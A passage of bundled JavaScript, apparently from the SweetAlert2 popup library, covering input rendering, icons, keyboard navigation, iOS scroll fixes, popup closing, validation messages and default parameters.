  1958. const renderInput = (instance, params) => {
  1959. const popup = getPopup();
  1960. const innerParams = privateProps.innerParams.get(instance);
  1961. const rerender = !innerParams || params.input !== innerParams.input;
  1962. inputClasses.forEach((inputClass) => {
  1963. const inputContainer = getDirectChildByClass(popup, swalClasses[inputClass]);
  1964. setAttributes(inputClass, params.inputAttributes);
  1965. inputContainer.className = swalClasses[inputClass];
  1966. if (rerender) {
  1967. hide(inputContainer);
  1968. }
  1969. });
  1970. if (params.input) {
  1971. if (rerender) {
  1972. showInput(params);
  1973. }
  1974. setCustomClass(params);
  1975. }
  1976. };
  1977. const showInput = (params) => {
  1978. if (!renderInputType[params.input]) {
  1979. error(`Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "${params.input}"`);
  1980. return;
  1981. }
  1982. const inputContainer = getInputContainer(params.input);
  1983. const input = renderInputType[params.input](inputContainer, params);
  1984. show(inputContainer);
  1985. setTimeout(() => {
  1986. focusInput(input);
  1987. });
  1988. };
  1989. const removeAttributes = (input) => {
  1990. for (let i = 0; i < input.attributes.length; i++) {
  1991. const attrName = input.attributes[i].name;
  1992. if (!["type", "value", "style"].includes(attrName)) {
  1993. input.removeAttribute(attrName);
  1994. }
  1995. }
  1996. };
  1997. const setAttributes = (inputClass, inputAttributes) => {
  1998. const input = getInput$1(getPopup(), inputClass);
  1999. if (!input) {
  2000. return;
  2001. }
  2002. removeAttributes(input);
  2003. for (const attr in inputAttributes) {
  2004. input.setAttribute(attr, inputAttributes[attr]);
  2005. }
  2006. };
  2007. const setCustomClass = (params) => {
  2008. const inputContainer = getInputContainer(params.input);
  2009. if (typeof params.customClass === "object") {
  2010. addClass(inputContainer, params.customClass.input);
  2011. }
  2012. };
  2013. const setInputPlaceholder = (input, params) => {
  2014. if (!input.placeholder || params.inputPlaceholder) {
  2015. input.placeholder = params.inputPlaceholder;
  2016. }
  2017. };
  2018. const setInputLabel = (input, prependTo, params) => {
  2019. if (params.inputLabel) {
  2020. input.id = swalClasses.input;
  2021. const label = document.createElement("label");
  2022. const labelClass = swalClasses["input-label"];
  2023. label.setAttribute("for", input.id);
  2024. label.className = labelClass;
  2025. if (typeof params.customClass === "object") {
  2026. addClass(label, params.customClass.inputLabel);
  2027. }
  2028. label.innerText = params.inputLabel;
  2029. prependTo.insertAdjacentElement("beforebegin", label);
  2030. }
  2031. };
  2032. const getInputContainer = (inputType) => {
  2033. return getDirectChildByClass(getPopup(), swalClasses[inputType] || swalClasses.input);
  2034. };
  2035. const checkAndSetInputValue = (input, inputValue) => {
  2036. if (["string", "number"].includes(typeof inputValue)) {
  2037. input.value = `${inputValue}`;
  2038. } else if (!isPromise(inputValue)) {
  2039. warn(`Unexpected type of inputValue! Expected "string", "number" or "Promise", got "${typeof inputValue}"`);
  2040. }
  2041. };
  2042. const renderInputType = {};
  2043. renderInputType.text = renderInputType.email = renderInputType.password = renderInputType.number = renderInputType.tel = renderInputType.url = (input, params) => {
  2044. checkAndSetInputValue(input, params.inputValue);
  2045. setInputLabel(input, input, params);
  2046. setInputPlaceholder(input, params);
  2047. input.type = params.input;
  2048. return input;
  2049. };
  2050. renderInputType.file = (input, params) => {
  2051. setInputLabel(input, input, params);
  2052. setInputPlaceholder(input, params);
  2053. return input;
  2054. };
  2055. renderInputType.range = (range, params) => {
  2056. const rangeInput = range.querySelector("input");
  2057. const rangeOutput = range.querySelector("output");
  2058. checkAndSetInputValue(rangeInput, params.inputValue);
  2059. rangeInput.type = params.input;
  2060. checkAndSetInputValue(rangeOutput, params.inputValue);
  2061. setInputLabel(rangeInput, range, params);
  2062. return range;
  2063. };
  2064. renderInputType.select = (select, params) => {
  2065. select.textContent = "";
  2066. if (params.inputPlaceholder) {
  2067. const placeholder = document.createElement("option");
  2068. setInnerHtml(placeholder, params.inputPlaceholder);
  2069. placeholder.value = "";
  2070. placeholder.disabled = true;
  2071. placeholder.selected = true;
  2072. select.appendChild(placeholder);
  2073. }
  2074. setInputLabel(select, select, params);
  2075. return select;
  2076. };
  2077. renderInputType.radio = (radio) => {
  2078. radio.textContent = "";
  2079. return radio;
  2080. };
  2081. renderInputType.checkbox = (checkboxContainer, params) => {
  2082. const checkbox = getInput$1(getPopup(), "checkbox");
  2083. checkbox.value = "1";
  2084. checkbox.id = swalClasses.checkbox;
  2085. checkbox.checked = Boolean(params.inputValue);
  2086. const label = checkboxContainer.querySelector("span");
  2087. setInnerHtml(label, params.inputPlaceholder);
  2088. return checkbox;
  2089. };
  2090. renderInputType.textarea = (textarea, params) => {
  2091. checkAndSetInputValue(textarea, params.inputValue);
  2092. setInputPlaceholder(textarea, params);
  2093. setInputLabel(textarea, textarea, params);
  2094. const getMargin = (el) => parseInt(window.getComputedStyle(el).marginLeft) + parseInt(window.getComputedStyle(el).marginRight);
  2095. setTimeout(() => {
  2096. if ("MutationObserver" in window) {
  2097. const initialPopupWidth = parseInt(window.getComputedStyle(getPopup()).width);
  2098. const textareaResizeHandler = () => {
  2099. const textareaWidth = textarea.offsetWidth + getMargin(textarea);
  2100. if (textareaWidth > initialPopupWidth) {
  2101. getPopup().style.width = `${textareaWidth}px`;
  2102. } else {
  2103. getPopup().style.width = null;
  2104. }
  2105. };
  2106. new MutationObserver(textareaResizeHandler).observe(textarea, {
  2107. attributes: true,
  2108. attributeFilter: ["style"]
  2109. });
  2110. }
  2111. });
  2112. return textarea;
  2113. };
  2114. const renderContent = (instance, params) => {
  2115. const htmlContainer = getHtmlContainer();
  2116. applyCustomClass(htmlContainer, params, "htmlContainer");
  2117. if (params.html) {
  2118. parseHtmlToContainer(params.html, htmlContainer);
  2119. show(htmlContainer, "block");
  2120. } else if (params.text) {
  2121. htmlContainer.textContent = params.text;
  2122. show(htmlContainer, "block");
  2123. } else {
  2124. hide(htmlContainer);
  2125. }
  2126. renderInput(instance, params);
  2127. };
  2128. const renderFooter = (instance, params) => {
  2129. const footer = getFooter();
  2130. toggle(footer, params.footer);
  2131. if (params.footer) {
  2132. parseHtmlToContainer(params.footer, footer);
  2133. }
  2134. applyCustomClass(footer, params, "footer");
  2135. };
  2136. const renderIcon = (instance, params) => {
  2137. const innerParams = privateProps.innerParams.get(instance);
  2138. const icon = getIcon();
  2139. if (innerParams && params.icon === innerParams.icon) {
  2140. setContent(icon, params);
  2141. applyStyles(icon, params);
  2142. return;
  2143. }
  2144. if (!params.icon && !params.iconHtml) {
  2145. hide(icon);
  2146. return;
  2147. }
  2148. if (params.icon && Object.keys(iconTypes).indexOf(params.icon) === -1) {
  2149. error(`Unknown icon! Expected "success", "error", "warning", "info" or "question", got "${params.icon}"`);
  2150. hide(icon);
  2151. return;
  2152. }
  2153. show(icon);
  2154. setContent(icon, params);
  2155. applyStyles(icon, params);
  2156. addClass(icon, params.showClass.icon);
  2157. };
  2158. const applyStyles = (icon, params) => {
  2159. for (const iconType in iconTypes) {
  2160. if (params.icon !== iconType) {
  2161. removeClass(icon, iconTypes[iconType]);
  2162. }
  2163. }
  2164. addClass(icon, iconTypes[params.icon]);
  2165. setColor(icon, params);
  2166. adjustSuccessIconBackgroundColor();
  2167. applyCustomClass(icon, params, "icon");
  2168. };
  2169. const adjustSuccessIconBackgroundColor = () => {
  2170. const popup = getPopup();
  2171. const popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue("background-color");
  2172. const successIconParts = popup.querySelectorAll("[class^=swal2-success-circular-line], .swal2-success-fix");
  2173. for (let i = 0; i < successIconParts.length; i++) {
  2174. successIconParts[i].style.backgroundColor = popupBackgroundColor;
  2175. }
  2176. };
  2177. const successIconHtml = `
  2178. <div class="swal2-success-circular-line-left"></div>
  2179. <span class="swal2-success-line-tip"></span> <span class="swal2-success-line-long"></span>
  2180. <div class="swal2-success-ring"></div> <div class="swal2-success-fix"></div>
  2181. <div class="swal2-success-circular-line-right"></div>
  2182. `;
  2183. const errorIconHtml = `
  2184. <span class="swal2-x-mark">
  2185. <span class="swal2-x-mark-line-left"></span>
  2186. <span class="swal2-x-mark-line-right"></span>
  2187. </span>
  2188. `;
  2189. const setContent = (icon, params) => {
  2190. let oldContent = icon.innerHTML;
  2191. let newContent;
  2192. if (params.iconHtml) {
  2193. newContent = iconContent(params.iconHtml);
  2194. } else if (params.icon === "success") {
  2195. newContent = successIconHtml;
  2196. oldContent = oldContent.replace(/ style=".*?"/g, "");
  2197. } else if (params.icon === "error") {
  2198. newContent = errorIconHtml;
  2199. } else {
  2200. const defaultIconHtml = {
  2201. question: "?",
  2202. warning: "!",
  2203. info: "i"
  2204. };
  2205. newContent = iconContent(defaultIconHtml[params.icon]);
  2206. }
  2207. if (oldContent.trim() !== newContent.trim()) {
  2208. setInnerHtml(icon, newContent);
  2209. }
  2210. };
  2211. const setColor = (icon, params) => {
  2212. if (!params.iconColor) {
  2213. return;
  2214. }
  2215. icon.style.color = params.iconColor;
  2216. icon.style.borderColor = params.iconColor;
  2217. for (const sel of [".swal2-success-line-tip", ".swal2-success-line-long", ".swal2-x-mark-line-left", ".swal2-x-mark-line-right"]) {
  2218. setStyle(icon, sel, "backgroundColor", params.iconColor);
  2219. }
  2220. setStyle(icon, ".swal2-success-ring", "borderColor", params.iconColor);
  2221. };
  2222. const iconContent = (content) => `<div class="${swalClasses["icon-content"]}">${content}</div>`;
  2223. const renderImage = (instance, params) => {
  2224. const image = getImage();
  2225. if (!params.imageUrl) {
  2226. hide(image);
  2227. return;
  2228. }
  2229. show(image, "");
  2230. image.setAttribute("src", params.imageUrl);
  2231. image.setAttribute("alt", params.imageAlt);
  2232. applyNumericalStyle(image, "width", params.imageWidth);
  2233. applyNumericalStyle(image, "height", params.imageHeight);
  2234. image.className = swalClasses.image;
  2235. applyCustomClass(image, params, "image");
  2236. };
  2237. const renderPopup = (instance, params) => {
  2238. const container = getContainer();
  2239. const popup = getPopup();
  2240. if (params.toast) {
  2241. applyNumericalStyle(container, "width", params.width);
  2242. popup.style.width = "100%";
  2243. popup.insertBefore(getLoader(), getIcon());
  2244. } else {
  2245. applyNumericalStyle(popup, "width", params.width);
  2246. }
  2247. applyNumericalStyle(popup, "padding", params.padding);
  2248. if (params.color) {
  2249. popup.style.color = params.color;
  2250. }
  2251. if (params.background) {
  2252. popup.style.background = params.background;
  2253. }
  2254. hide(getValidationMessage());
  2255. addClasses$1(popup, params);
  2256. };
  2257. const addClasses$1 = (popup, params) => {
  2258. popup.className = `${swalClasses.popup} ${isVisible$1(popup) ? params.showClass.popup : ""}`;
  2259. if (params.toast) {
  2260. addClass([document.documentElement, document.body], swalClasses["toast-shown"]);
  2261. addClass(popup, swalClasses.toast);
  2262. } else {
  2263. addClass(popup, swalClasses.modal);
  2264. }
  2265. applyCustomClass(popup, params, "popup");
  2266. if (typeof params.customClass === "string") {
  2267. addClass(popup, params.customClass);
  2268. }
  2269. if (params.icon) {
  2270. addClass(popup, swalClasses[`icon-${params.icon}`]);
  2271. }
  2272. };
  2273. const renderProgressSteps = (instance, params) => {
  2274. const progressStepsContainer = getProgressSteps();
  2275. if (!params.progressSteps || params.progressSteps.length === 0) {
  2276. hide(progressStepsContainer);
  2277. return;
  2278. }
  2279. show(progressStepsContainer);
  2280. progressStepsContainer.textContent = "";
  2281. if (params.currentProgressStep >= params.progressSteps.length) {
  2282. warn("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)");
  2283. }
  2284. params.progressSteps.forEach((step, index) => {
  2285. const stepEl = createStepElement(step);
  2286. progressStepsContainer.appendChild(stepEl);
  2287. if (index === params.currentProgressStep) {
  2288. addClass(stepEl, swalClasses["active-progress-step"]);
  2289. }
  2290. if (index !== params.progressSteps.length - 1) {
  2291. const lineEl = createLineElement(params);
  2292. progressStepsContainer.appendChild(lineEl);
  2293. }
  2294. });
  2295. };
  2296. const createStepElement = (step) => {
  2297. const stepEl = document.createElement("li");
  2298. addClass(stepEl, swalClasses["progress-step"]);
  2299. setInnerHtml(stepEl, step);
  2300. return stepEl;
  2301. };
  2302. const createLineElement = (params) => {
  2303. const lineEl = document.createElement("li");
  2304. addClass(lineEl, swalClasses["progress-step-line"]);
  2305. if (params.progressStepsDistance) {
  2306. applyNumericalStyle(lineEl, "width", params.progressStepsDistance);
  2307. }
  2308. return lineEl;
  2309. };
  2310. const renderTitle = (instance, params) => {
  2311. const title = getTitle();
  2312. toggle(title, params.title || params.titleText, "block");
  2313. if (params.title) {
  2314. parseHtmlToContainer(params.title, title);
  2315. }
  2316. if (params.titleText) {
  2317. title.innerText = params.titleText;
  2318. }
  2319. applyCustomClass(title, params, "title");
  2320. };
  2321. const render = (instance, params) => {
  2322. renderPopup(instance, params);
  2323. renderContainer(instance, params);
  2324. renderProgressSteps(instance, params);
  2325. renderIcon(instance, params);
  2326. renderImage(instance, params);
  2327. renderTitle(instance, params);
  2328. renderCloseButton(instance, params);
  2329. renderContent(instance, params);
  2330. renderActions(instance, params);
  2331. renderFooter(instance, params);
  2332. if (typeof params.didRender === "function") {
  2333. params.didRender(getPopup());
  2334. }
  2335. };
  2336. function hideLoading() {
  2337. const innerParams = privateProps.innerParams.get(this);
  2338. if (!innerParams) {
  2339. return;
  2340. }
  2341. const domCache = privateProps.domCache.get(this);
  2342. hide(domCache.loader);
  2343. if (isToast()) {
  2344. if (innerParams.icon) {
  2345. show(getIcon());
  2346. }
  2347. } else {
  2348. showRelatedButton(domCache);
  2349. }
  2350. removeClass([domCache.popup, domCache.actions], swalClasses.loading);
  2351. domCache.popup.removeAttribute("aria-busy");
  2352. domCache.popup.removeAttribute("data-loading");
  2353. domCache.confirmButton.disabled = false;
  2354. domCache.denyButton.disabled = false;
  2355. domCache.cancelButton.disabled = false;
  2356. }
  2357. const showRelatedButton = (domCache) => {
  2358. const buttonToReplace = domCache.popup.getElementsByClassName(domCache.loader.getAttribute("data-button-to-replace"));
  2359. if (buttonToReplace.length) {
  2360. show(buttonToReplace[0], "inline-block");
  2361. } else if (allButtonsAreHidden()) {
  2362. hide(domCache.actions);
  2363. }
  2364. };
  2365. function getInput(instance) {
  2366. const innerParams = privateProps.innerParams.get(instance || this);
  2367. const domCache = privateProps.domCache.get(instance || this);
  2368. if (!domCache) {
  2369. return null;
  2370. }
  2371. return getInput$1(domCache.popup, innerParams.input);
  2372. }
  2373. const isVisible = () => {
  2374. return isVisible$1(getPopup());
  2375. };
  2376. const clickConfirm = () => getConfirmButton() && getConfirmButton().click();
  2377. const clickDeny = () => getDenyButton() && getDenyButton().click();
  2378. const clickCancel = () => getCancelButton() && getCancelButton().click();
  2379. const DismissReason = Object.freeze({
  2380. cancel: "cancel",
  2381. backdrop: "backdrop",
  2382. close: "close",
  2383. esc: "esc",
  2384. timer: "timer"
  2385. });
  2386. const removeKeydownHandler = (globalState2) => {
  2387. if (globalState2.keydownTarget && globalState2.keydownHandlerAdded) {
  2388. globalState2.keydownTarget.removeEventListener("keydown", globalState2.keydownHandler, {
  2389. capture: globalState2.keydownListenerCapture
  2390. });
  2391. globalState2.keydownHandlerAdded = false;
  2392. }
  2393. };
  2394. const addKeydownHandler = (instance, globalState2, innerParams, dismissWith) => {
  2395. removeKeydownHandler(globalState2);
  2396. if (!innerParams.toast) {
  2397. globalState2.keydownHandler = (e) => keydownHandler(instance, e, dismissWith);
  2398. globalState2.keydownTarget = innerParams.keydownListenerCapture ? window : getPopup();
  2399. globalState2.keydownListenerCapture = innerParams.keydownListenerCapture;
  2400. globalState2.keydownTarget.addEventListener("keydown", globalState2.keydownHandler, {
  2401. capture: globalState2.keydownListenerCapture
  2402. });
  2403. globalState2.keydownHandlerAdded = true;
  2404. }
  2405. };
  2406. const setFocus = (index, increment) => {
  2407. const focusableElements = getFocusableElements();
  2408. if (focusableElements.length) {
  2409. index = index + increment;
  2410. if (index === focusableElements.length) {
  2411. index = 0;
  2412. } else if (index === -1) {
  2413. index = focusableElements.length - 1;
  2414. }
  2415. focusableElements[index].focus();
  2416. return;
  2417. }
  2418. getPopup().focus();
  2419. };
  2420. const arrowKeysNextButton = ["ArrowRight", "ArrowDown"];
  2421. const arrowKeysPreviousButton = ["ArrowLeft", "ArrowUp"];
  2422. const keydownHandler = (instance, event, dismissWith) => {
  2423. const innerParams = privateProps.innerParams.get(instance);
  2424. if (!innerParams) {
  2425. return;
  2426. }
  2427. if (event.isComposing || event.keyCode === 229) {
  2428. return;
  2429. }
  2430. if (innerParams.stopKeydownPropagation) {
  2431. event.stopPropagation();
  2432. }
  2433. if (event.key === "Enter") {
  2434. handleEnter(instance, event, innerParams);
  2435. } else if (event.key === "Tab") {
  2436. handleTab(event);
  2437. } else if ([...arrowKeysNextButton, ...arrowKeysPreviousButton].includes(event.key)) {
  2438. handleArrows(event.key);
  2439. } else if (event.key === "Escape") {
  2440. handleEsc(event, innerParams, dismissWith);
  2441. }
  2442. };
  2443. const handleEnter = (instance, event, innerParams) => {
  2444. if (!callIfFunction(innerParams.allowEnterKey)) {
  2445. return;
  2446. }
  2447. if (event.target && instance.getInput() && event.target instanceof HTMLElement && event.target.outerHTML === instance.getInput().outerHTML) {
  2448. if (["textarea", "file"].includes(innerParams.input)) {
  2449. return;
  2450. }
  2451. clickConfirm();
  2452. event.preventDefault();
  2453. }
  2454. };
  2455. const handleTab = (event) => {
  2456. const targetElement = event.target;
  2457. const focusableElements = getFocusableElements();
  2458. let btnIndex = -1;
  2459. for (let i = 0; i < focusableElements.length; i++) {
  2460. if (targetElement === focusableElements[i]) {
  2461. btnIndex = i;
  2462. break;
  2463. }
  2464. }
  2465. if (!event.shiftKey) {
  2466. setFocus(btnIndex, 1);
  2467. } else {
  2468. setFocus(btnIndex, -1);
  2469. }
  2470. event.stopPropagation();
  2471. event.preventDefault();
  2472. };
  2473. const handleArrows = (key) => {
  2474. const confirmButton = getConfirmButton();
  2475. const denyButton = getDenyButton();
  2476. const cancelButton = getCancelButton();
  2477. if (document.activeElement instanceof HTMLElement && ![confirmButton, denyButton, cancelButton].includes(document.activeElement)) {
  2478. return;
  2479. }
  2480. const sibling = arrowKeysNextButton.includes(key) ? "nextElementSibling" : "previousElementSibling";
  2481. let buttonToFocus = document.activeElement;
  2482. for (let i = 0; i < getActions().children.length; i++) {
  2483. buttonToFocus = buttonToFocus[sibling];
  2484. if (!buttonToFocus) {
  2485. return;
  2486. }
  2487. if (buttonToFocus instanceof HTMLButtonElement && isVisible$1(buttonToFocus)) {
  2488. break;
  2489. }
  2490. }
  2491. if (buttonToFocus instanceof HTMLButtonElement) {
  2492. buttonToFocus.focus();
  2493. }
  2494. };
  2495. const handleEsc = (event, innerParams, dismissWith) => {
  2496. if (callIfFunction(innerParams.allowEscapeKey)) {
  2497. event.preventDefault();
  2498. dismissWith(DismissReason.esc);
  2499. }
  2500. };
  2501. var privateMethods = {
  2502. swalPromiseResolve: /* @__PURE__ */ new WeakMap(),
  2503. swalPromiseReject: /* @__PURE__ */ new WeakMap()
  2504. };
  2505. const setAriaHidden = () => {
  2506. const bodyChildren = Array.from(document.body.children);
  2507. bodyChildren.forEach((el) => {
  2508. if (el === getContainer() || el.contains(getContainer())) {
  2509. return;
  2510. }
  2511. if (el.hasAttribute("aria-hidden")) {
  2512. el.setAttribute("data-previous-aria-hidden", el.getAttribute("aria-hidden"));
  2513. }
  2514. el.setAttribute("aria-hidden", "true");
  2515. });
  2516. };
  2517. const unsetAriaHidden = () => {
  2518. const bodyChildren = Array.from(document.body.children);
  2519. bodyChildren.forEach((el) => {
  2520. if (el.hasAttribute("data-previous-aria-hidden")) {
  2521. el.setAttribute("aria-hidden", el.getAttribute("data-previous-aria-hidden"));
  2522. el.removeAttribute("data-previous-aria-hidden");
  2523. } else {
  2524. el.removeAttribute("aria-hidden");
  2525. }
  2526. });
  2527. };
  2528. const iOSfix = () => {
  2529. const iOS = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream || navigator.platform === "MacIntel" && navigator.maxTouchPoints > 1;
  2530. if (iOS && !hasClass(document.body, swalClasses.iosfix)) {
  2531. const offset = document.body.scrollTop;
  2532. document.body.style.top = `${offset * -1}px`;
  2533. addClass(document.body, swalClasses.iosfix);
  2534. lockBodyScroll();
  2535. addBottomPaddingForTallPopups();
  2536. }
  2537. };
  2538. const addBottomPaddingForTallPopups = () => {
  2539. const ua = navigator.userAgent;
  2540. const iOS = !!ua.match(/iPad/i) || !!ua.match(/iPhone/i);
  2541. const webkit = !!ua.match(/WebKit/i);
  2542. const iOSSafari = iOS && webkit && !ua.match(/CriOS/i);
  2543. if (iOSSafari) {
  2544. const bottomPanelHeight = 44;
  2545. if (getPopup().scrollHeight > window.innerHeight - bottomPanelHeight) {
  2546. getContainer().style.paddingBottom = `${bottomPanelHeight}px`;
  2547. }
  2548. }
  2549. };
  2550. const lockBodyScroll = () => {
  2551. const container = getContainer();
  2552. let preventTouchMove;
  2553. container.ontouchstart = (event) => {
  2554. preventTouchMove = shouldPreventTouchMove(event);
  2555. };
  2556. container.ontouchmove = (event) => {
  2557. if (preventTouchMove) {
  2558. event.preventDefault();
  2559. event.stopPropagation();
  2560. }
  2561. };
  2562. };
  2563. const shouldPreventTouchMove = (event) => {
  2564. const target = event.target;
  2565. const container = getContainer();
  2566. if (isStylus(event) || isZoom(event)) {
  2567. return false;
  2568. }
  2569. if (target === container) {
  2570. return true;
  2571. }
  2572. if (!isScrollable(container) && target instanceof HTMLElement && target.tagName !== "INPUT" && target.tagName !== "TEXTAREA" && !(isScrollable(getHtmlContainer()) && getHtmlContainer().contains(target))) {
  2573. return true;
  2574. }
  2575. return false;
  2576. };
  2577. const isStylus = (event) => {
  2578. return event.touches && event.touches.length && event.touches[0].touchType === "stylus";
  2579. };
  2580. const isZoom = (event) => {
  2581. return event.touches && event.touches.length > 1;
  2582. };
  2583. const undoIOSfix = () => {
  2584. if (hasClass(document.body, swalClasses.iosfix)) {
  2585. const offset = parseInt(document.body.style.top, 10);
  2586. removeClass(document.body, swalClasses.iosfix);
  2587. document.body.style.top = "";
  2588. document.body.scrollTop = offset * -1;
  2589. }
  2590. };
  2591. const fixScrollbar = () => {
  2592. if (states.previousBodyPadding !== null) {
  2593. return;
  2594. }
  2595. if (document.body.scrollHeight > window.innerHeight) {
  2596. states.previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right"));
  2597. document.body.style.paddingRight = `${states.previousBodyPadding + measureScrollbar()}px`;
  2598. }
  2599. };
  2600. const undoScrollbar = () => {
  2601. if (states.previousBodyPadding !== null) {
  2602. document.body.style.paddingRight = `${states.previousBodyPadding}px`;
  2603. states.previousBodyPadding = null;
  2604. }
  2605. };
  2606. function removePopupAndResetState(instance, container, returnFocus, didClose) {
  2607. if (isToast()) {
  2608. triggerDidCloseAndDispose(instance, didClose);
  2609. } else {
  2610. restoreActiveElement(returnFocus).then(() => triggerDidCloseAndDispose(instance, didClose));
  2611. removeKeydownHandler(globalState);
  2612. }
  2613. const isSafari = /^((?!chrome|android).)*safari/i.test(navigator.userAgent);
  2614. if (isSafari) {
  2615. container.setAttribute("style", "display:none !important");
  2616. container.removeAttribute("class");
  2617. container.innerHTML = "";
  2618. } else {
  2619. container.remove();
  2620. }
  2621. if (isModal()) {
  2622. undoScrollbar();
  2623. undoIOSfix();
  2624. unsetAriaHidden();
  2625. }
  2626. removeBodyClasses();
  2627. }
  2628. function removeBodyClasses() {
  2629. removeClass([document.documentElement, document.body], [swalClasses.shown, swalClasses["height-auto"], swalClasses["no-backdrop"], swalClasses["toast-shown"]]);
  2630. }
  2631. function close(resolveValue) {
  2632. resolveValue = prepareResolveValue(resolveValue);
  2633. const swalPromiseResolve = privateMethods.swalPromiseResolve.get(this);
  2634. const didClose = triggerClosePopup(this);
  2635. if (this.isAwaitingPromise()) {
  2636. if (!resolveValue.isDismissed) {
  2637. handleAwaitingPromise(this);
  2638. swalPromiseResolve(resolveValue);
  2639. }
  2640. } else if (didClose) {
  2641. swalPromiseResolve(resolveValue);
  2642. }
  2643. }
  2644. function isAwaitingPromise() {
  2645. return !!privateProps.awaitingPromise.get(this);
  2646. }
  2647. const triggerClosePopup = (instance) => {
  2648. const popup = getPopup();
  2649. if (!popup) {
  2650. return false;
  2651. }
  2652. const innerParams = privateProps.innerParams.get(instance);
  2653. if (!innerParams || hasClass(popup, innerParams.hideClass.popup)) {
  2654. return false;
  2655. }
  2656. removeClass(popup, innerParams.showClass.popup);
  2657. addClass(popup, innerParams.hideClass.popup);
  2658. const backdrop = getContainer();
  2659. removeClass(backdrop, innerParams.showClass.backdrop);
  2660. addClass(backdrop, innerParams.hideClass.backdrop);
  2661. handlePopupAnimation(instance, popup, innerParams);
  2662. return true;
  2663. };
  2664. function rejectPromise(error2) {
  2665. const rejectPromise2 = privateMethods.swalPromiseReject.get(this);
  2666. handleAwaitingPromise(this);
  2667. if (rejectPromise2) {
  2668. rejectPromise2(error2);
  2669. }
  2670. }
  2671. const handleAwaitingPromise = (instance) => {
  2672. if (instance.isAwaitingPromise()) {
  2673. privateProps.awaitingPromise.delete(instance);
  2674. if (!privateProps.innerParams.get(instance)) {
  2675. instance._destroy();
  2676. }
  2677. }
  2678. };
  2679. const prepareResolveValue = (resolveValue) => {
  2680. if (typeof resolveValue === "undefined") {
  2681. return {
  2682. isConfirmed: false,
  2683. isDenied: false,
  2684. isDismissed: true
  2685. };
  2686. }
  2687. return Object.assign({
  2688. isConfirmed: false,
  2689. isDenied: false,
  2690. isDismissed: false
  2691. }, resolveValue);
  2692. };
  2693. const handlePopupAnimation = (instance, popup, innerParams) => {
  2694. const container = getContainer();
  2695. const animationIsSupported = animationEndEvent && hasCssAnimation(popup);
  2696. if (typeof innerParams.willClose === "function") {
  2697. innerParams.willClose(popup);
  2698. }
  2699. if (animationIsSupported) {
  2700. animatePopup(instance, popup, container, innerParams.returnFocus, innerParams.didClose);
  2701. } else {
  2702. removePopupAndResetState(instance, container, innerParams.returnFocus, innerParams.didClose);
  2703. }
  2704. };
  2705. const animatePopup = (instance, popup, container, returnFocus, didClose) => {
  2706. globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, returnFocus, didClose);
  2707. popup.addEventListener(animationEndEvent, function(e) {
  2708. if (e.target === popup) {
  2709. globalState.swalCloseEventFinishedCallback();
  2710. delete globalState.swalCloseEventFinishedCallback;
  2711. }
  2712. });
  2713. };
  2714. const triggerDidCloseAndDispose = (instance, didClose) => {
  2715. setTimeout(() => {
  2716. if (typeof didClose === "function") {
  2717. didClose.bind(instance.params)();
  2718. }
  2719. instance._destroy();
  2720. });
  2721. };
  2722. function setButtonsDisabled(instance, buttons, disabled) {
  2723. const domCache = privateProps.domCache.get(instance);
  2724. buttons.forEach((button) => {
  2725. domCache[button].disabled = disabled;
  2726. });
  2727. }
  2728. function setInputDisabled(input, disabled) {
  2729. if (!input) {
  2730. return;
  2731. }
  2732. if (input.type === "radio") {
  2733. const radiosContainer = input.parentNode.parentNode;
  2734. const radios = radiosContainer.querySelectorAll("input");
  2735. for (let i = 0; i < radios.length; i++) {
  2736. radios[i].disabled = disabled;
  2737. }
  2738. } else {
  2739. input.disabled = disabled;
  2740. }
  2741. }
  2742. function enableButtons() {
  2743. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], false);
  2744. }
  2745. function disableButtons() {
  2746. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], true);
  2747. }
  2748. function enableInput() {
  2749. setInputDisabled(this.getInput(), false);
  2750. }
  2751. function disableInput() {
  2752. setInputDisabled(this.getInput(), true);
  2753. }
  2754. function showValidationMessage(error2) {
  2755. const domCache = privateProps.domCache.get(this);
  2756. const params = privateProps.innerParams.get(this);
  2757. setInnerHtml(domCache.validationMessage, error2);
  2758. domCache.validationMessage.className = swalClasses["validation-message"];
  2759. if (params.customClass && params.customClass.validationMessage) {
  2760. addClass(domCache.validationMessage, params.customClass.validationMessage);
  2761. }
  2762. show(domCache.validationMessage);
  2763. const input = this.getInput();
  2764. if (input) {
  2765. input.setAttribute("aria-invalid", true);
  2766. input.setAttribute("aria-describedby", swalClasses["validation-message"]);
  2767. focusInput(input);
  2768. addClass(input, swalClasses.inputerror);
  2769. }
  2770. }
  2771. function resetValidationMessage() {
  2772. const domCache = privateProps.domCache.get(this);
  2773. if (domCache.validationMessage) {
  2774. hide(domCache.validationMessage);
  2775. }
  2776. const input = this.getInput();
  2777. if (input) {
  2778. input.removeAttribute("aria-invalid");
  2779. input.removeAttribute("aria-describedby");
  2780. removeClass(input, swalClasses.inputerror);
  2781. }
  2782. }
  2783. const defaultParams = {
  2784. title: "",
  2785. titleText: "",
  2786. text: "",
  2787. html: "",
  2788. footer: "",
  2789. icon: void 0,
  2790. iconColor: void 0,
  2791. iconHtml: void 0,
  2792. template: void 0,
  2793. toast: false,
  2794. showClass: {
  2795. popup: "swal2-show",
  2796. backdrop: "swal2-backdrop-show",
  2797. icon: "swal2-icon-show"
  2798. },
  2799. hideClass: {
  2800. popup: "swal2-hide",
  2801. backdrop: "swal2-backdrop-hide",
  2802. icon: "swal2-icon-hide"
  2803. },
  2804. customClass: {},
  2805. target: "body",
  2806. color: void 0,
  2807. backdrop: true,
  2808. heightAuto: true,
  2809. allowOutsideClick: true,
  2810. allowEscapeKey: true,
  2811. allowEnterKey: true,
  2812. stopKeydownPropagation: true,
  2813. keydownListenerCapture: false,
  2814. showConfirmButton: true,
  2815. showDenyButton: false,
  2816. showCancelButton: false,
  2817. preConfirm: void 0,
  2818. preDeny: void 0,
  2819. confirmButtonText: "OK",
  2820. confirmButtonAriaLabel: "",
  2821. confirmButtonColor: void 0,
  2822. denyButtonText: "No",
  2823. denyButtonAriaLabel: "",
  2824. denyButtonColor: void 0,
  2825. cancelButtonText: "Cancel",
